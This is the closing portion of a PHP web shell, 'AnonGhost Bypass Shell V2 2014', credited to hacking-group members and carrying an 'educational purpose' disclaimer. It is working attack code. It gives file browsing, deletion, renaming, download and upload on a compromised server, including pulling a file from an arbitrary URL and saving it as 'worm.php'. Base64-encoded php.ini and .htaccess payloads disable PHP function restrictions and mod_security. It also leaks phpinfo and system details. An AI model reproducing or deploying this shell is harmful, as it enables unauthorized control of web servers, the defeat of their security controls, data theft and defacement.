7842$old = $_GET['old_name'];
7843$new = $_GET['rename_file'];
7844// if new file or folder exist
7845if(is_dir($new) || file_exists($new)){
7846echo ' <font color="red">File or folder exists.</font> <a href="?delete='.$new.'&action=mumpet">delete</a><br><br>';
7847}
7848else{
7849// if file or folder exist
7850if(is_dir($old) || file_exists($old)){
7851if(rename($old, $new)){
7852if(is_dir($old)){
7853echo " <font color=\"#b0b000\">Folder renamed sucsessfuly to ".$new."</font>, <a href=\"?view=".$new."\">open</a><br><br>";
7854}
7855if(!is_dir($old)){
7856echo " <font color=\"#b0b000\">File renamed sucsessfuly to ".$new."</font>, <a href=\"?view=".$new."\">open</a><br><br>";
7857}
7858}
7859else{
7860echo " <font color=\"red\">Problem renaming ".$old."</font><br><br>";
7861}
7862}
7863else{
7864echo ' <font color="red">File or folder not found.</font><br><br>';
7865}
7866}
7867}
7868
7869if(isset($_GET['rename']) && !empty($_GET['action']) && $_GET['action'] == 'mumpet'){
7870$file = $_GET['rename'];
7871?>
7872<form action="" method="get">
7873 Old Name: <input name="old_name" type="text" value="<?php echo $file; ?>"><br>
7874 Rename to: <input name="rename_file" type="text" value="<?php echo $file; ?>"><br>
7875 <input type="hidden" name="action" value="mumpet"><br>
7876<input type="submit" value="Execute">
7877</form><br>
7878<?php
7879}
7880// new dir
7881if(isset($_GET['go']) && !empty($_GET['newdir']) && !empty($_GET['action']) && $_GET['action'] == 'mumpet'){
7882$dir = $_GET['go'];
7883$new = $_GET['newdir'];
7884$currect = getcwd();
7885// if dir is dir
7886if(is_dir($dir)){
7887// if dir exist
7888if(is_dir($new)){
7889echo ' <font color="red">Directory exist.</font> <a href="?del_dir='.$currect.'\\'.$new.'&action=mumpet">delete</a><br><br>';
7890}
7891else{
7892if(mkdir($new)){
7893echo ' <font color="#b0b000">Directory created</font><br><br>';
7894}
7895else{
7896echo ' <font color="red">Problem creating directory</font><br><br>';
7897}
7898if(!is_dir($dir)){
7899chdir($go);
7900if(mkdir($new)){
7901echo ' <font color="#b0b000">Directory created</font><br><br>';
7902}
7903else{
7904echo ' <font color="red">Problem creating directory</font><br><br>';
7905}
7906}
7907
7908}
7909}
7910}
7911$self = $_SERVER['PHP_SELF'];
7912$dir = getcwd();
7913if(isset($_GET['go']))
7914{
7915$dir = $_GET['go'];
7916}
7917if(is_dir($dir))
7918{
7919$handle = opendir($dir);
7920{
7921
7922showDrives();
7923?>
7924<br><br> <b class="teke"><a style="color:#009900" href="<?php echo $_SERVER['PHP_SELF'].'?action=mumpet&go='.getcwd(); ?>/../"> back </a></b>
7925<b class="teke"><a id="teke" style="color:#009900" href="<?php echo $_SERVER['HTTP_REFERER']; ?>"> forward </a></b> <br><br>
7926<?php
7927if($dir[(strlen($dir)-1)] != '/'){$dir = $dir.'/';}
7928while (($file = readdir($handle)) != false) {
7929if ($file != "." && $file != "..")
7930{
7931$color = 'red';
7932if(is_readable($dir.$file))
7933{
7934$color = 'yellow';
7935}
7936if(is_writable($dir.$file))
7937{
7938$color = '#00ff00';
7939}
7940if(is_dir($dir.$file))
7941{
7942?>
7943<span id="onmouseover">
7944<a style="font-size:12px;font-family:sans-serif;color:#00dd00 <?php echo $color?>;" href="<?php echo $self ?>?go=<?php echo $dir.$file ?>&action=mumpet"><b>[ <font color="#00bb00"><?php echo $file ?></font> ]</b></a>
7945<font color="#b0b000"><?php echo HumanReadableFilesize(dirSize($dir.$file));?></font>
7946<font color="yellow"> <?php echo getFilePermissions($dir.$file);?></font> <font color="#fff"> > </font><?php echo getperms($dir); ?>
7947<a id="za" style="margin-right:30px" href="<?php echo $self;?>?delete=<?php echo $dir.$file;?>&action=mumpet">Delete</a>
7948<a id="za" style="margin-right:10px" href="<?php echo $self;?>?action=mumpet&rename=<?php echo $dir.$file;?>">Rename</a>
7949<a id="za" style="margin-right:10px" href="<?php echo $self;?>?zip=<?php echo $dir.$file;?>&action=mumpet">Download</a>
7950<a id="za" style="margin-right:25px" href="<?php echo $self;?>?action=aplot&path=<?php echo $dir.$file;?>">Upload</a><br>
7951</span>
7952<?php
7953}
7954//Its a file
7955else
7956{
7957?>
7958<span id="onmouseover">
7959<a style="font-family: Optima, Segoe, Segoe UI, Candara, Calibri, Arial, sans-serif;color: "<?php echo $color?>;" href='<?php echo $self ?>?view=<?php echo $dir.$file ?>'><?php echo $file ?></a>
7960<font color="#b0b000"><?php echo HumanReadableFilesize(filesize($dir.$file));?></font>
7961<font color="yellow"><?php echo getFilePermissions($dir.$file);?></font> <font color="#fff">> </font><?php echo getperms($dir.$file); ?>
7962<a id="za" style="margin-right:30px" href="<?php echo $self;?>?delete=<?php echo $dir.$file;?>&action=mumpet">Delete</a>
7963<a id="za" style="margin-right:10px" href="<?php echo $self;?>?action=mumpet&rename=<?php echo $dir.$file;?>">Rename</a>
7964<a id="za" style="margin-right:10px" href="<?php echo $self;?>?zip=<?php echo $dir.$file;?>">Download</a><br>
7965</span>
7966<?php
7967}
7968}
7969}
7970closedir($handle);
7971}
7972}
7973else
7974{
7975echo "<p class='alert_red' id='margins'>Permission Denied</p>";
7976}
7977?>
7978<br></div>
7979<?php
7980}
7981?>
7982<br><br>
7983<?php
7984if(!isset($_GET['action']) && !isset($_GET['upload']) && !isset($_GET['get']) && !isset($_GET['turnoff']) && !isset($_GET['view']) && !isset($_GET['db'])){
7985if($_POST['pateni']=='sikat'){
7986@error_reporting(0);
7987$phpini =
7988'c2FmZV9tb2RlID0gT0ZGDQpTYWZlX21vZGVfZ2lkID0gT0ZGDQpkaXNhYmxlX2Z1bmN0aW9ucyA9IE5PTkUNCmRpc2FibGVfY2xhc3NlcyA9IE5PTkUNCm9wZW5fYmFzZWRpciA9IE9GRg0Kc3Vob3Npbi5leGVjdXRvci5mdW5jLmJsYWNrbGlzdCA9IE5PTkU=';
7989$file = fopen("php.ini","w+");
7990$write = fwrite ($file ,base64_decode($phpini));
7991fclose($file);
7992$htaccess ='PElmTW9kdWxlIG1vZF9zZWN1cml0eS5jPg0KU2VjRmlsdGVyRW5naW5lIE9mZg0KU2VjRmlsdGVyU2NhblBPU1QgT2ZmDQpTZWNGaWx0ZXJDaGVja1VSTEVuY29kaW5nIE9mZg0KU2VjRmlsdGVyQ2hlY2tDb29raWVGb3JtYXQgT2ZmDQpTZWNGaWx0ZXJDaGVja1VuaWNvZGVFbmNvZGluZyBPZmYNClNlY0ZpbHRlck5vcm1hbGl6ZUNvb2tpZXMgT2ZmDQo8L0lmTW9kdWxlPg==';
7993$file = fopen(".htaccess","w+");
7994$write = fwrite ($file ,base64_decode($htaccess));
7995echo '<meta http-equiv="refresh" content="2; url=?'.$pwd.'" /><br><br><br><b><center><span style="font-size:25px; font-family:Fredericka the Great; color:#009900">Bypassed !</span></center></b>';
7996exit;
7997}
7998echo '
7999<br><center><font face="Tahoma" color="#007700" size="2pt"><b>Disable Function :
8000</b></font><form method="POST">
8001<input name="pateni" type="hidden" value="sikat">';
8002
8003if(''==($func=@ini_get('disable_functions')))
8004{
8005echo "<b><font color=#00bb00>No Security for Functions</font></b>";
8006}else{
8007echo '<b><font color=#d00000>[ Please Bypass Safemode First! ]</font></b><br><br>';
8008echo "<div id='boxe'><font color=#ff0000>$func</font></div>";
8009
8010echo '<br><input type="submit" value="Bypass Disabled Functions">';
8011}
8012echo '</center><br>';
8013echo "<br><br><center><b><font face='Tahoma' color='#007700' size='2pt'>Server IP : </font></b></td><font face='Tahoma' color='#00bb00' size='2pt' />";echo $serverIP = gethostbyname($_SERVER["HTTP_HOST"]);
8014echo " <b><a href='http://bing.com/search?q=ip:".$serverIP."&go=&form=QBLH&filt=all' target=\"_blank\">Bing Search
8015 </a></b> - <b><a href='http://zone-h.com/archive/ip=".$serverIP."
8016' target=\"_blank\">Zone-H</a></b></center><br>";
8017echo '<br><center><b class="cont" align="center"><font face="Tahoma" color="#007700" size="2pt">Apache Modules : </font></b>
8018<select >';
8019
8020if(function_exists("apache_get_modules")) {
8021foreach (apache_get_modules() as $module) {
8022echo "<option>".$module."</option>";
8023}
8024}else {
8025echo "<option>NONE</option>";
8026}
8027echo '</select></center>';
8028echo '<br><br><center><span style="font-size:35px; font-family:Fredericka the Great; color:#009900">AnonGhost Bypass Shell V2 2014</span><br><font color="#007700" face="Tahoma, Geneva, sans-serif" style="font-size: 7pt"> is created for Educational Purpose and testing on your own server, and not responsible for any misuse of it.</font><br><font color="#b0b000" size="1pt"></font><br><br><font color="#007700" size="1pt">Coded by </font><font color="#00bb00" size="1pt">Virusa Worm</font> <font color="#007700" size="1pt">-</font> <font color="#00bb00" size="1pt">Mauritania Attacker</font> | <font color="#007700" size="1pt">Special thankz to : </font><font color="#00bb00" size="1pt">AnonGhost Team</font><br><br><center><div class="logindiv"><table cellpadding="7" cellspacing="2">
8029<center><br><iframe src="https://www.facebook.com/plugins/like.php?href=https://www.facebook.com/AnonGhostOfficial2&send=false&layout=standard&width=400&show_faces=false&action=like&colorscheme=light&font=arial&height=35" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:350px; height:20px;" allowTransparency="true"></iframe></center></table></div></center><br><br><font color="#007700" size="1pt">Greetz to : </font><br><font color="#00bb00" size="1pt">
8030AnonGhost - Teamp0ison - ZHC - Mauritania HaCker Team - 3xp1r3 Cyber Army - AnonSec - Robot Pirates - X-Blackerz INC. - Pak Cyber Pyrates - iMHATiMi.ORG - Afghan Cyber Army (ACA) - <font color="#007700" size="1pt">[ </font>Tanpa Bicara - Maniak k4Sur <font color="#007700" size="1pt">[pasangan galo.. lol..]]</font></font></center><br>';
8031
8032}
8033
8034
8035?>
8036<?php
8037if(isset($_GET['action']) && !empty($_GET['action'])){
8038$action = $_GET['action'];
8039if($action == "phpinfo"){
8040phpinfo();
8041}
8042
8043if($action == 'aplot'){
8044echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Uploader</span><br></center>';
8045echo '<br /><center><font face="Tahoma" color="#007700" size="2pt">Upload Files From Computer</font><br><form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
8046echo '<input type="file" name="file" value="Choose file" size="60" style="border: 1px solid #007700 ; border-radius: 4px; box-shadow: 0px 0px 4px #007700;"> <input name="_upl" type="submit" id="_upl" value=" Upload "></form></center><br><br>';
8047if( $_POST['_upl'] == "Upload" ) {
8048 if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<br /><br /><center><b>upload sukses.. </b><img src="http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif"></center><br><br>'; }
8049 else { echo '<center><font face="Tahoma" color="#ff0000" size="2pt">aseeeemmm.., ora iso upload... </font><img src="http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/24.gif"></center><br>'; }
8050}
8051if (isset($_POST['upload_url'])) {$file=$_POST['upload_url_text']; $newfile=$_POST['rename']; if (!copy($file, $newfile)) {echo "failed to copy $file...\\n";}}
8052echo '<center><font face="Tahoma" color="#007700" size="2pt">Upload Files From URL</font><br><form method="POST" enctype="multipart/form-data"><input type="hidden" name="action" value="add"><input type="text" name="upload_url_text" size="50"><br><br><font face="Tahoma" color="#007700" size="2pt">Rename to: </font><input type="text" name="rename" size="15" value="worm.php"><br><br><input type="submit" value=" Upload File " name="upload_url"></form></center>';
8053}
8054
8055if($action == "kill"){
8056echo '<center>Do you really want to delete this shell ?</center><br><br>';
8057?>
8058<center><b><a style="color:#ff0000;" href="?action=killit">Yes</a>
8059<a style="color:#ff0000;" href="<?php echo $_SERVER['PHP_SELF']; ?>">No</a></b></center><br><br>
8060<?php
8061}
8062if($action == "killit"){
8063$file = $_SERVER['PHP_SELF'];
8064if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
8065die('<br><br><b class="tmp"><font color="#ff0000" size="2pt"><center>Shell has been Killed...Take Care And Stay Safe</center></font></b><meta http-equiv="refresh" content="3; url=?".$pwd."" />');
8066else
8067echo '<font color="#fff600" size="2pt">unlink error!</font>';
8068}
8069if($action == "logout"){
8070unset($_SESSION['loggedin']);
8071echo '<center><span style="font-size:20px; font-family:Fredericka the Great; color:#d00000">You Have Logged Out Bro ' .$username. ' ..</span></center><br><br>';}
8072}}
8073else{
8074//IF SOMEONE GET BANNED SHELL WILL SUICIDE LIKE KAMIKAZ wkwkwkkwkwkw xD
8075if(isset($_SESSION['banned'])){
8076if($_SESSION['banned'] == '13'){
8077$file = $_SERVER['PHP_SELF'];
8078if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
8079die('<br><br><b class="tmp"><font color="#ff0000" size="2pt"><center>I SUICIDE BECAUSE YOUR STUPID BEHAVIOUR xD ! AND YOU THINK THAT YOU ARE SMART lulZ !</center></font></b><meta http-equiv="refresh" content="3; url=?".$pwd."" />');
8080
8081}}
8082?><link href='http://fonts.googleapis.com/css?family=Fredericka+the+Great' rel='stylesheet' type='text/css'><style type="text/css"><style type="text/css">html, body, div, span, applet, object, iframe, h1, h2, h3, h4, h5, h6, p, blockquote, pre, a, abbr, acronym, address, big, cite, code, del, dfn, em, img, ins, kbd, q, s, samp, small, strike, strong, sub, sup, tt, var, b, u, i, center, dl, dt, dd, ol, ul, li, fieldset, form, label, legend, table, caption, tbody, tfoot, thead, tr, th, td, article, aside, canvas, details, embed, figure, figcaption, footer, header, hgroup, menu, nav, output, ruby, section, summary, time, mark, audio, video { margin: 0; padding: 0; border: 0; font-size: 100%; font: inherit; vertical-align: baseline; } article, aside, details, figcaption, figure, footer, header, hgroup, menu, nav, section { display: block; } body { line-height: 1; } ol, ul { list-style: none; } blockquote, q { quotes: none; } blockquote:before, blockquote:after, q:before, q:after { content: ''; content: none; } table { border-collapse: collapse; border-spacing: 0; } ::-moz-focus-inner { padding: 0; border: 0; } :-moz-placeholder { color: #ffffff !important; } ::-webkit-input-placeholder { color: #ffffff; } :-ms-input-placeholder { color: #ffffff !important; } body { font: 12px/20px 'Lucida Grande', Verdana, sans-serif; color: #404040; background: #e4e4e4; } input, textarea, select, label { font-family: inherit; font-size: 12px; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; } .login { margin: 20px auto; padding: 18px 20px; width: 200px; background: #e4e4e4; background-clip: padding-box; border: 1px solid #2f2f2f; border-bottom-color: #2a2a2a; border-radius: 5px; background-image: -webkit-radial-gradient(cover, #555555, #333333); background-image: -moz-radial-gradient(cover, #555555, #333333); background-image: -o-radial-gradient(cover, #555555, #333333); background-image: radial-gradient(cover, #555555, #333333); -webkit-box-shadow: inset 0 1px rgba(255, 255, 255, 0.3), inset 0 0 1px 1px rgba(255, 255, 255, 0.1), 0 2px 10px rgba(0, 0, 0, 0.5); box-shadow: inset 0 1px rgba(255, 255, 255, 0.3), inset 0 0 1px 1px rgba(255, 255, 255, 0.1), 0 2px 10px rgba(0, 0, 0, 0.5); } .login > h1 { margin-bottom: 20px; font-size: 16px; font-weight: bold; color: white; text-align: center; text-shadow: 0 -1px rgba(0, 0, 0, 0.4); } .login-input { display: block; width: 100%; height: 37px; margin-bottom: 20px; padding: 0 9px; color: white; text-shadow: 0 1px black; background: #444444; border: 1px solid #007700; border-top-color: #007700; border-radius: 4px; background-image: -webkit-linear-gradient(top, rgba(0, 0, 0, 0.35), rgba(0, 0, 0, 0.2) 20%, rgba(0, 0, 0, 0)); background-image: -moz-linear-gradient(top, rgba(0, 0, 0, 0.35), rgba(0, 0, 0, 0.2) 20%, rgba(0, 0, 0, 0)); background-image: -o-linear-gradient(top, rgba(0, 0, 0, 0.35), rgba(0, 0, 0, 0.2) 20%, rgba(0, 0, 0, 0)); background-image: linear-gradient(to bottom, rgba(0, 0, 0, 0.35), rgba(0, 0, 0, 0.2) 20%, rgba(0, 0, 0, 0)); -webkit-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.3), 0 1px rgba(255, 255, 255, 0.2); box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.3), 0 1px rgba(255, 255, 255, 0.2); } .login-input:focus { outline: 0; background-color: #444444; -webkit-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.3), 0 0 4px 1px rgba(255, 255, 255, 0.6); box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.3), 0 0 4px 1px rgba(255, 255, 255, 0.6); } .lt-ie9 .login-input { line-height: 35px; } .f { display: block; width: 100%; height: 37px; margin-bottom: 15px; font-size: 14px; font-weight: bold; color: #007700; text-align: center; text-shadow: 0 1px rgba(255, 255, 255, 0.3); background: #aeaeae; background-clip: padding-box; border: 1px solid #284473; border-bottom-color: #223b66; border-radius: 4px; cursor: pointer; background-image:-webkit-linear-gradient(top, #eaeaea, #d0d0d0); background-image: -moz-linear-gradient(top, #eaeaea, #d0d0d0); background-image: -o-linear-gradient(top, #eaeaea, #d0d0d0); background-image: linear-gradient(to bottom, #eaeaea, #d0d0d0); -webkit-box-shadow: inset 0 1px rgba(255, 255, 255, 0.5), inset 0 0 7px rgba(255, 255, 255, 0.4), 0 1px 1px rgba(0, 0, 0, 0.15); box-shadow: inset 0 1px rgba(255, 255, 255, 0.5), inset 0 0 7px rgba(255, 255, 255, 0.4), 0 1px 1px rgba(0, 0, 0, 0.15); } .f:active { background: #eaeaea; -webkit-box-shadow: inset 0 1px 5px rgba(0, 0, 0, 0.4), 0 1px rgba(255, 255, 255, 0.1); box-shadow: inset 0 1px 5px rgba(0, 0, 0, 0.4), 0 1px rgba(255, 255, 255, 0.1); } .login-help { text-align: center; } .login-help > a { font-size: 11px; color: #009900; text-decoration: none; text-shadow: 0 -1px rgba(0, 0, 0, 0.4); } .login-help > a:hover { text-decoration: none; color: #00ff00;text-shadow:#ffffff 0px 2px 7px; } input[type="password"]{
8083 background-color : transparent; color: transparent;
8084}</style><link rel="shortcut icon" href="http://www14.0zz0.com/2014/06/04/21/396554394.png" type="image/x-icon" /> <!--[if lt IE 9]><script src="//html5shim.googlecode.com/svn/trunk/html5.js"></script><![endif]-->
8085<center><img src="http://www4.0zz0.com/2014/08/22/21/544545766.jpg" /><br><font color="#007700" face="Tahoma, Geneva, sans-serif" style="font-size: 7pt">AnonGhost Bypass Shell V2 2014 is created for Educational Purpose and testing on your own server, and not responsible for any misuse of it.</font><br>
8086<?php echo '<font color="#009900" face="Tahoma, Geneva, sans-serif" style="font-size: 7pt">Kernel Version : </font><font color="#00bb00" face="Tahoma, Geneva, sans-serif" style="font-size: 7pt">';echo php_uname(); echo '</font>'; ?> </center>
8087 <form action="" method="post" class="login"><img src="http://www11.0zz0.com/2014/08/23/06/983187840.png">
8088 <span style="font-size:35px; font-family:Fredericka the Great; color:#009900">Login Here</span><br><input type="password" value="mlebu" name="pass" style="float:right;" >
8089 <input type="text" id="user_name" name="username" class="login-input" placeholder="User login"/>
8090
8091 <input type="texti" name="pasfek" class="login-input" placeholder="Password">
8092 <input type="submit" value="Login" class="f">
8093 <div class="login-help"><a href="">You are not authorized to access?</a></div>
8094 </form></center>
8095<?php
8096}
8097if(isset($_POST['pass']) && !empty($_POST['pass']) && isset($_POST['username']) && !empty($_POST['username']) ){
8098$pass = "AnonGhost";
8099$user = "AnonGhost";
8100if($pass > 50){
8101die("<center><b><font color='#b0b000'>Maybe you are Drunk O.o...".$warn."</font></b></center>
8102 ");
8103}
8104if($pass != $password || $user!=$username){
8105if(isset($_SESSION['banned'])){
8106if($_SESSION['banned'] == '1'){
8107$_SESSION['banned'] = '2';
8108die("<center><b><font color='#b0b000'>MadaFucka' What are you trying Skid :p ".$warn."</font></b> <b><h3><font color='#ff0000'>BANNED</font></h3></b></center>");
8109}
8110if($_SESSION['banned'] == '2'){
8111$_SESSION['banned'] = '3';
8112die("<center><b><font color='#b0b000'>".$warn."Go Play in Da Street Script Kiddi u were banned xD</font></b><br><b><h2><font color='#ff0000'>You have been BANNED!</font></h2></b></center>");
8113}
8114}
8115else{
8116$_SESSION['banned'] = '1';
8117}
8118}
8119else{
8120
8121$_SESSION['loggedin'] = 'true';
8122
8123echo "<center><br><span style='font-size:30px; font-family:Fredericka the Great; color:#009900'>Salam Aleykum " .$username. " . ♥ </span></center>";
8124echo "<br><br><center><b><font color='#007700' face='Tahoma' style='font-size: 11pt'>✓ You are Successfully Logged in and Redirecting Now Ghost.... <a href='".$pwd."'> or Click here</a></font></b><meta http-equiv='refresh' content='10; url=?".$pwd."' /></center>";
8125header('location: '.$_SERVER['PHP_SELF']);
8126}
8127}
8128?>
8129<span><center>
8130
8131<?php
8132
8133if(!isset($_SESSION['loggedin'])){echo $about;}
8134if (strtoupper(substr(PHP_OS, 0, 3)) === 'UNI'){
8135echo "user = ".@get_current_user()." | uid= ".@getmyuid()." | gid= ".@getmygid();
8136} ?>
8137</center></span><footer id="ftr" style="position:fixed; left:0px; right:0px; bottom:0px; background:transparent); text-align:center;"><font color=#"009900" size="1" face="Courier New">© AnonGhost Bypass Shell V2 2014 | Coded by Virusa Worm - Mauritania Attacker - GrenCoder</font></footer>
8138</body>
8139</html>